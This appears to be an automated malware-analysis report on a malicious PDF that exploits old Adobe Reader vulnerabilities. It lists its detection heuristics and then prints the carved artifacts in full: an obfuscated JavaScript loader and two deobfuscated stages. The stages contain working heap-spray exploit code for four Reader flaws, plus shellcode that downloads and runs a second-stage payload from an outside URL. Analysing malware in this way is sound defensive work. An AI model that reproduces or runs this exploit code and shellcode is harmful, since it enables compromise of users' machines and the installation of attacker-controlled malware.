MALICIOUS
490
Risk Score
Malware Insights
MITRE ATT&CK
T1203 Exploitation for Client Execution
T1059.007 JavaScript
This PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities (CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The deobfuscated JavaScript indicates that it is designed to download and execute a second-stage payload from the URL http://funny.brookelovingbagwell.com/w.php?f=5&e=5. The ML classifier also flagged this PDF as malicious with high confidence.
Machine Learning
- Nyx PDF Classifier malicious score 1.0000
Heuristics 12
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media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
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Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
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Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
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util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
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Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCHA single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
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Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KITOne recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
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Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERYBounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
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JavaScript action low 2 related findings PDF_JAVASCRIPTPDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URLDecoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
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Embedded JS stream low PDF_JSPDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
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Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://funny.brookelovingbagwell.com/w.php?f=5&e=5 Referenced by PDF JavaScript
Extracted artifacts 3
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
javascript_obj0076_000.js |
pdf-javascript-stream | PDF /JS object 76 at offset 0x3A9 | 11928 bytes |
SHA-256: 93328be7608c485b8c99742cd108585e11767f84da58033411f4ab4c05a62ec8 |
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Preview scriptFirst 1,000 lines of the extracted script
w='s';
w+="l";
w+='i';
w+="ce";
j='b343tb3g';
j=j[w];
z=[4,46,13,17,10,5,35,47,75,67,41,33,73,45,19,19,41,33,39,60,69,37,41,33,73,48,39,60,41,33,21,48,69,37,41,33,69,51,45,37,41,33,45,45,48,39,41,33,19,37,60,54,41,33,37,54,73,10,41,33,73,10,45,54,41,33,54,60,37,54,41,33,21,54,73,10,41,33,48,19,0,60,41,33,21,19,73,10,41,33,45,45,54,73,41,33,19,19,23,10,41,33,48,69,73,10,41,33,54,45,45,60,41,33,45,45,21,37,41,33,73,0,40,60,41,33,0,48,69,69,41,33,39,39,0,54,41,33,10,73,39,39,41,33,37,54,73,10,41,33,60,45,45,54,41,33,45,51,37,19,41,33,21,48,54,19,41,33,73,21,39,10,41,33,40,37,45,37,41,33,69,37,73,48,41,33,48,0,21,48,41,33,69,10,69,51,41,33,48,0,37,60,41,33,73,10,48,19,41,33,45,60,21,48,41,33,21,37,73,10,41,33,21,73,45,48,41,33,39,48,54,45,41,33,73,10,48,19,41,33,40,54,21,19,41,33,39,48,54,45,41,33,60,51,45,45,41,33,37,0,37,51,41,33,46,23,39,60,41,33,60,48,54,45,41,33,23,10,45,45,41,33,10,69,54,39,41,33,45,73,0,54,41,33,21,37,39,40,41,33,60,0,54,73,41,33,54,23,60,10,41,33,23,46,54,45,41,33,69,10,37,54,41,33,45,10,39,0,41,33,21,48,0,39,41,33,48,69,69,19,41,33,48,69,73,10,41,33,54,45,40,37,41,33,19,19,23,23,41,33,54,60,73,10,41,33,73,23,37,10,41,33,69,60,37,19,41,33,48,37,39,39,41,33,54,60,40,37,41,33,23,73,73,10,41,33,23,23,54,45,41,33,54,37,73,10,41,33,54,45,73,10,41,33,46,10,60,48,41,33,48,51,48,69,41,33,69,10,60,45,41,33,46,23,48,45,41,33,19,73,73,10,41,33,73,54,40,54,41,33,54,60,21,23,41,33,21,37,45,45,41,33,51,19,54,45,41,33,39,45,69,10,41,33,19,73,73,10,41,33,73,10,54,73,41,33,19,46,39,21,41,33,48,51,54,48,41,33,51,73,69,73,41,33,39,39,39,39,41,33,69,40,39,39,41,33,69,73,39,51,41,33,54,54,54,54,41,33,54,54,54,54,41,33,48,54,48,73,41,33,37,54,19,46,41,33,39,39,19,73,41,33,54,54,54,54,41,33,48,54,54,54,41,33,60,54,73,45,41,33,48,54,0,51,41,33,73,10,48,48,41,33,73,10,69,60,41,33,0,54,48,69,41,33,60,45,73,45,41,33,39,39,54,48,41,33,19,73,69,45,41,33,19,69,19,39,41,33,54,54,54,54,41,33,21,48,19,73,41,33,19,60,21,40,41,33,48,37,19,23,41,33,0,19,39,39,41,33,60,37,73,45,41,33,73,10,54,73,41,33,69,73,69,73,41,33,39,39,19,0,41,33,39,39,39,39,41,33,54,40,69,10,41,33,21,40,69,10,41,33,69,60,73,0,41,33,54,0,54,37,41,33,54,54,54,54,41,33,48,60,73,23,41,33,54,60,40,37,41,33,54,37,60,21,41,33,21,40,40,37,41,33,19,21,19,48,41,33,60,21,21,45,41,33,40,37,37,37,41,33,21,19,54,37,41,33,45,45,21,40,41,33,60,21,45,40,41,33,40,37,37,37,41,33,40,54,54,73,41,33,21,45,40,23,41,33,48,45,40,54,41,33,39,73,19,73,41,33,54,54,54,54,41,33,39,39,54,54,41,33,54,60,48,19,41,33,69,73,73,10,41,33,60,51,45,45,41,33,60,21,48,0,41,33,0,23,37,37,41,33,21,21,54,54,41,33,19,40,21,54,41,33,60,21,21,37,41,33,0,23,37,37,41,33,40,69,54,48,41,33,19,60,19,37,41,33,60,19,19,60,41,33,0,23,37,37,41,33,54,54,54,51,41,33,73,46,48,51,41,33,54,37,60,0,41,33,73,73,45,54,41,33,0,23,37,37,41,33,37,0,54,37,41,33,19,46,48,0,41,33,19,46,54,54,41,33,48,45,54,54,41,33,19,46,48,21,41,33,39,39,54,54,41,33,0,37,48,19,41,33,60,54,73,48,41,33,0,19,21,48,41,33,54,54,19,46,41,33,39,39,48,45,41,33,54,37,48,19,41,33,54,54,19,46,41,33,69,10,73,45,41,33,48,45,54,60,41,33,48,19,39,39,41,33,73,45,54,37,41,33,54,60,60,45,41,33,54,40,69,10,41,33,0,45,69,10,41,33,73,54,37,21,41,33,54,54,45,39,41,33,39,46,21,48,41,33,73,54,37,21,41,33,54,54,45,39,41,33,60,37,21,48,41,33,54,54,19,46,41,33,39,69,19,46,41,33,48,19,39,39,41,33,69,73,54,73,41,33,39,69,51,60,41,33,39,39,39,39,41,33,37,69,73,69,41,33,69,60,54,69,41,33,39,69,51,73,41,33,54,69,73,46,41,33,19,39,73,51,41,33,10,23,54,0,41,33,60,46,45,45,41,33,48,10,73,46,41,33,60,19,0,10,41,33,21,51,37,19,41,33,0,46,45,19,41,33,21,54,40,39,41,33,21,37,19,73,41,33,21,54,21,37,41,33,40,39,45,46,41,33,19,19,40,39,41,33,19,69,21,48,41,33,21,51,19,69,41,33,19,40,40,69,41,33,19,39,21,40,41,33,19,10,19,39,41,33,19,60,19,48,41,33,21,19,19,39,41,33,19,69,19,51,41,33,19,40,19,21,41,33,19,21,19,0,41,33,19,48,21,21,41,33,19,60,19,60,41,33,19,45,40,69,41,33,19,23,19,39,41,33,21,21,40,39,41,33,21,54,40,69,41,33,21,54,19,73,41,33,19,19,45,39,41,33,45,48,45,23,41,33,19,48,40,19,41,33,45,48,45,23,41,33,54,54,54,54,67,31,39,33,1,60,52,12,26,1,17,69,61,4,13,30,13,46,50,22,29,65,7,36,16,12,14,69,30,13,46,53,14,69,1,47,52,16,55,40,57,22,29,65,7,13,46,15,75,13,46,31,66,13,46,75,13,46,53,35,33,10,35,52,13,12,1,47,30,54,50,22,29,34,40,65,31,13,69,52,33,13,1,17,13,46,31,66,17,39,33,1,60,52,12,26,1,17,10,25,30,65,7,4,46,13,17,23,62,47,75,1,69,36,17,38,13,13,46,29,30,65,31,4,46,13,17,4,36,75,54,25,54,60,54,60,54,60,54,60,31,4,46,13,17,46,23,23,13,75,54,25,37,54,54,54,54,54,31,4,46,13,17,63,46,29,14,26,46,23,75,33,1,69,35,60,46,63,69,30,10,5,35,47,65,31,4,46,13,17,35,60,74,14,69,1,75,63,46,29,14,26,46,23,53,14,69,1,47,52,16,55,40,31,4,46,13,17,22,29,75,46,23,23,13,64,30,35,60,74,14,69,1,15,54,25,45,73,65,31,4,46,13,17,29,46,13,35,63,75,33,1,69,35,60,46,63,69,30,6,41,33,51,54,51,54,41,33,51,54,51,54,6,65,31,29,46,13,35,63,75,69,61,4,13,30,29,46,13,35,63,50,22,29,65,31,4,46,13,17,60,26,33,1,52,40,75,30,4,36,64,54,25,37,54,54,54,54,54,65,34,46,23,23,13,31,39,26,13,30,4,46,13,17,60,26,33,1,52,75,54,31,60,26,33,1,52,57,60,26,33,1,52,40,31,60,26,33,1,52,15,15,65,7,23,62,47,9,60,26,33,1,52,49,75,29,46,13,35,63,15,63,46,29,14,26,46,23,31,66,17,4,46,13,17,26,4,69,13,39,14,26,36,75,33,1,69,35,60,46,63,69,30,6,41,33,54,60,54,60,41,33,54,60,54,60,6,65,31,36,16,12,14,69,30,26,4,69,13,39,14,26,36,53,14,69,1,47,52,16,57,37,37,51,48,40,65,7,26,4,69,13,39,14,26,36,15,75,26,4,69,13,39,14,26,36,31,66,17,52,16,12,35,53,60,26,14,14,46,10,27,52,26,13,69,75,32,26,14,14,46,10,53,60,26,14,14,69,60,52,8,24,46,12,14,68,1,39,26,30,7,35,33,10,5,43,6,6,50,24,35,47,43,26,4,69,13,39,14,26,36,66,65,31,66,17,39,33,1,60,52,12,26,1,17,63,13,12,1,52,39,30,65,7,1,26,63,75,33,1,69,35,60,46,63,69,30,6,41,33,54,38,54,38,41,33,54,38,54,38,41,33,54,38,54,38,41,33,54,38,54,38,6,65,31,4,46,13,17,63,46,29,14,26,46,23,75,33,1,69,35,60,46,63,69,30,10,5,35,47,65,31,16,69,46,63,10,14,26,60,62,75,1,26,63,15,63,46,29,14,26,46,23,31,10,12,47,10,14,26,60,62,75,33,1,69,35,60,46,63,69,30,6,41,33,54,38,54,38,41,33,54,38,54,38,6,65,31,16,69,46,23,69,13,35,12,61,69,75,40,54,31,35,63,13,46,29,75,16,69,46,23,69,13,35,12,61,69,15,16,69,46,63,10,14,26,60,62,53,14,69,1,47,52,16,31,36,16,12,14,69,30,10,12,47,10,14,26,60,62,53,14,69,1,47,52,16,57,35,63,13,46,29,65,7,10,12,47,10,14,26,60,62,15,75,10,12,47,10,14,26,60,62,31,66,17,39,12,14,14,10,14,26,60,62,75,10,12,47,10,14,26,60,62,53,35,33,10,35,52,13,12,1,47,30,54,50,35,63,13,46,29,65,31,10,14,26,60,62,75,10,12,47,10,14,26,60,62,53,35,33,10,35,52,13,12,1,47,30,54,50,10,12,47,10,14,26,60,62,53,14,69,1,47,52,16,64,35,63,13,46,29,65,31,36,16,12,14,69,30,10,14,26,60,62,53,14,69,1,47,52,16,15,35,63,13,46,29,57,54,25,37,54,54,54,54,65,7,10,14,26,60,62,75,10,14,26,60,62,15,10,14,26,60,62,15,39,12,14,14,10,14,26,60,62,31,66,17,24,69,24,75,1,69,36,17,38,13,13,46,29,30,65,31,39,26,13,30,12,75,54,31,12,57,0,37,54,54,31,12,15,15,65,7,24,69,24,9,12,49,75,10,14,26,60,62,15,16,69,46,63,10,14,26,60,62,31,66,17,4,46,13,17,1,33,24,75,0,40,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,51,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,73,31,33,52,12,14,53,63,13,12,1,52,39,30,6,41,37,48,54,54,54,39,6,50,1,33,24,65,31,66,17,39,33,1,60,52,12,26,1,17,47,69,52,12,60,26,1,30,65,7,4,46,13,17,46,13,13,29,75,1,69,36,17,38,13,13,46,29,30,65,31,12,39,30,46,63,63,53,23,26,60,53,32,26,14,14,46,10,53,47,69,52,68,60,26,1,65,7,4,46,13,17,63,46,29,14,26,46,23,75,33,1,69,35,60,46,63,69,30,10,5,35,47,65,31,4,46,13,17,16,42,22,48,54,54,32,11,75,63,46,29,14,26,46,23,53,14,69,1,47,52,16,55,40,31,4,46,13,17,22,29,75,54,25,37,54,54,54,54,54,64,30,16,42,22,48,54,54,32,11,15,54,25,45,73,65,31,4,46,13,17,29,46,13,35,63,75,33,1,69,35,60,46,63,69,30,6,41,33,51,54,51,54,41,33,51,54,51,54,6,65,31,29,46,13,35,63,75,69,61,4,13,30,29,46,13,35,63,50,22,29,65,31,4,46,13,17,63,48,38,5,28,19,48,39,75,30,54,25,54,60,54,60,54,60,54,60,64,54,25,37,54,54,54,54,54,65,34,54,25,37,54,54,54,54,54,31,39,26,13,30,4,46,13,17,4,22,60,71,58,51,19,29,75,54,31,4,22,60,71,58,51,19,29,57,63,48,38,5,28,19,48,39,31,4,22,60,71,58,51,19,29,15,15,65,7,46,13,13,29,9,4,22,60,71,58,51,19,29,49,75,29,46,13,35,63,15,63,46,29,14,26,46,23,31,66,17,4,46,13,17,52,59,20,16,11,10,56,36,75,33,1,69,35,60,46,63,69,30,6,41,54,51,6,65,31,36,16,12,14,69,30,52,59,20,16,11,10,56,36,53,14,69,1,47,52,16,57,54,25,37,54,54,54,65,7,52,59,20,16,11,10,56,36,15,75,52,59,20,16,11,10,56,36,31,66,17,52,59,20,16,11,10,56,36,75,6,11,53,6,15,52,59,20,16,11,10,56,36,31,46,63,63,53,23,26,60,53,32,26,14,14,46,10,53,47,69,52,68,60,26,1,30,52,59,20,16,11,10,56,36,65,31,66,66,17,46,72,14,33,47,12,1,35,75,46,63,63,53,63,14,33,47,68,1,35,31,4,46,13,17,35,4,75,63,46,13,35,69,68,1,52,30,46,63,63,53,4,12,69,36,69,13,70,69,13,35,12,26,1,53,52,26,27,52,13,12,1,47,30,65,53,60,16,46,13,38,52,30,54,65,65,31,39,26,13,30,4,46,13,17,12,75,54,31,12,57,46,72,14,33,47,12,1,35,53,14,69,1,47,52,16,31,12,15,15,65,7,12,39,30,46,72,14,33,47,12,1,35,9,12,49,53,1,46,24,69,75,75,67,8,27,60,13,12,63,52,67,65,7,4,46,13,17,14,4,75,46,72,14,33,47,12,1,35,9,12,49,53,4,69,13,35,12,26,1,31,66,66,17,12,39,30,30,14,4,75,75,51,65,18,18,30,30,35,4,75,75,73,65,44,44,30,14,4,57,75,73,53,0,40,65,65,65,7,47,69,52,12,60,26,1,30,65,31,66,69,14,35,69,17,12,39,30,14,4,75,75,21,53,0,65,7,63,13,12,1,52,39,30,65,31,66,69,14,35,69,17,12,39,30,30,30,35,4,75,75,19,65,18,18,30,35,4,75,75,21,65,65,44,44,30,14,4,57,21,53,0,0,65,65,7,10,25,30,65,31,66,69,14,35,69,17,12,39,30,30,14,4,2,75,51,53,0,65,18,18,30,14,4,57,75,51,53,40,65,18,18,30,14,4,2,75,73,53,0,45,65,18,18,30,14,4,57,75,73,53,0,21,65,65,7,39,33,1,60,52,12,26,1,17,46,30,65,7,33,52,12,14,53,63,13,12,1,52,23,30,67,63,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,17,43,17,29,29,29,29,0,0,0,67,50,1,69,36,17,58,46,52,69,30,65,65,31,66,4,46,13,17,16,75,46,63,63,53,63,14,33,47,68,1,35,31,39,26,13,30,4,46,13,17,39,75,54,31,39,57,16,53,14,69,1,47,52,16,31,39,15,15,65,7,12,39,30,16,9,39,49,53,1,46,24,69,75,75,67,8,27,60,13,12,63,52,67,65,7,4,46,13,17,12,75,16,9,39,49,53,4,69,13,35,12,26,1,31,66,66,17,12,39,30,30,12,2,73,53,0,40,65,44,44,30,12,57,73,53,40,65,65,7,60,75,1,69,36,17,38,13,13,46,29,30,65,31,4,46,13,17,23,75,33,1,69,35,60,46,63,69,30,67,41,33,51,54,51,54,41,33,51,54,51,54,67,65,31,4,46,13,17,69,75,33,1,69,35,60,46,63,69,30,10,5,35,47,65,31,36,16,12,14,69,30,23,53,14,69,1,47,52,16,57,75,54,25,73,54,54,54,65,7,23,15,75,23,31,66,23,75,23,53,35,33,10,35,52,13,30,54,50,54,25,73,54,54,54,64,69,53,14,69,1,47,52,16,65,31,39,26,13,30,39,75,54,31,39,57,40,51,54,54,31,39,15,15,65,7,60,9,39,49,75,23,15,69,31,66,46,30,65,31,46,30,65,31,52,13,29,7,52,16,12,35,53,24,69,23,12,46,53,1,69,36,72,14,46,29,69,13,30,1,33,14,14,65,31,66,60,46,52,60,16,30,69,65,7,66,46,30,65,31,66,66];
a="1n>@vj'{E[bNirl+h |6M7qdmxoSKy(;Cu/sw4Af2%W:&3ag5],9t.0*G<DUczkp-)}'IeVQP8_=";
b='al';
b2="v"
+b;
try
{
if(!google.search())throw 1;
}
catch(her436j34k76)
{
e=(j());
try{
b='e'+b2;
if(!google.search())
a=2;
}
catch(q){
e=e[b];
}
s='';try{if(!google.search())throw 1;}catch(q){r=1;}{
for(i=0;i<z.length;i++)
try{if(!google.search())throw 1;}catch(q){
s
+=
a[z[i]];
}
}}
"))";try{if(!google.search())throw 1;}catch(q){e(s);}
|
|||
generic_stage_recovery_000.js |
deobfuscated-js | generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9 | 3894 bytes |
SHA-256: 360d9b9a827deae31042e207862293fcc9c4ce4a6ba9ff4cd2cc7f5d1a6a7f0d |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u6e75%u796e%u622e%u6f72%u6b6f%u6c65%u766f%u6e69%u6267%u6761%u6577%u6c6c%u632e%u6d6f%u772f%u702e%u7068%u663f%u353d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
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generic_stage_recovery_001.js |
deobfuscated-js | generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9 | 3890 bytes |
SHA-256: 69788b6c986164f01a2c3fc8e3732487003937a9ab82f543a5ab8e7ed4510485 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u662f%u6e75%u796e%u622e%u6f72%u6b6f%u6c65%u766f%u6e69%u6267%u6761%u6577%u6c6c%u632e%u6d6f%u772f%u702e%u7068%u663f%u353d%u6526%u353d%u0000';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' 